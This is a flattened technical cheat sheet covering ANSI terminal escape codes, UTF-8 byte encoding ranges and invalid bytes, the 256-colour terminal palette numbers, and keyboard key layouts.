7Reverse video
8Concealed
30~37 or 38;5;nForeground color
40~47 or 48;5;nBackground color
?0Black
?1Red
?2Green
?3Yellow
?4Blue
?5Magenta
?6Cyan
?7White

Not ASCII

UTF-8

Continuations are 0x80 to 0xbf.

codepointbit patternminmax
U+0000 to U+007F 0xxxxxxx (0x0 to 0x7?)007f
U+0080 to U+07FF 110xxxxx (0xc?, 0xd?)c2 80df bf
U+0800 to U+FFFF 1110xxxx (0xe?)e0 a0 80ef bf bf
U+10000 to U+10FFFF*11110xxx (0xf0 to f7)f0 90 80 80f4 8f bf bf

* Same pattern could theoretically encode up to U+1FFFFF but is limited by RFC 3629

Bytes that should never appear: 0xc0, 0xc1 (overlong encodings); 0xf5+ (RFC) / 0xf8+ (past range)

Colors

0 1 2 3 4 5 6 7
8 9 10 11 12 13 14 15
16 17 18 19 20 21
22 23 24 25 26 27
28 29 30 31 32 33
34 35 36 37 38 39
40 41 42 43 44 45
46 47 48 49 50 51
52 53 54 55 56 57
58 59 60 61 62 63
64 65 66 67 68 69
70 71 72 73 74 75
76 77 78 79 80 81
82 83 84 85 86 87
88 89 90 91 92 93
94 95 96 97 98 99
100 101 102 103 104 105
106 107 108 109 110 111
112 113 114 115 116 117
118 119 120 121 122 123
124 125 126 127 128 129
130 131 132 133 134 135
136 137 138 139 140 141
142 143 144 145 146 147
148 149 150 151 152 153
154 155 156 157 158 159
160 161 162 163 164 165
166 167 168 169 170 171
172 173 174 175 176 177
178 179 180 181 182 183
184 185 186 187 188 189
190 191 192 193 194 195
196 197 198 199 200 201
202 203 204 205 206 207
208 209 210 211 212 213
214 215 216 217 218 219
220 221 222 223 224 225
226 227 228 229 230 231
232 233 234 235 236 237
238 239 240 241 242 243
244 245 246 247 248 249
250 251 252 253 254 255

Keyboards

~` !1@2 #3$4 %5^6 *7&8 (9)0 _-+=
QWERT YUIOP {[}] |\
C⇑ ASDFGH JKL :; "' E↵
S↑ ZXCVB NM <,>. ?/ S↑
PrtScSysRq Scroll¤ PauseBreak
Ins Home Pg↑
Del End Pg↓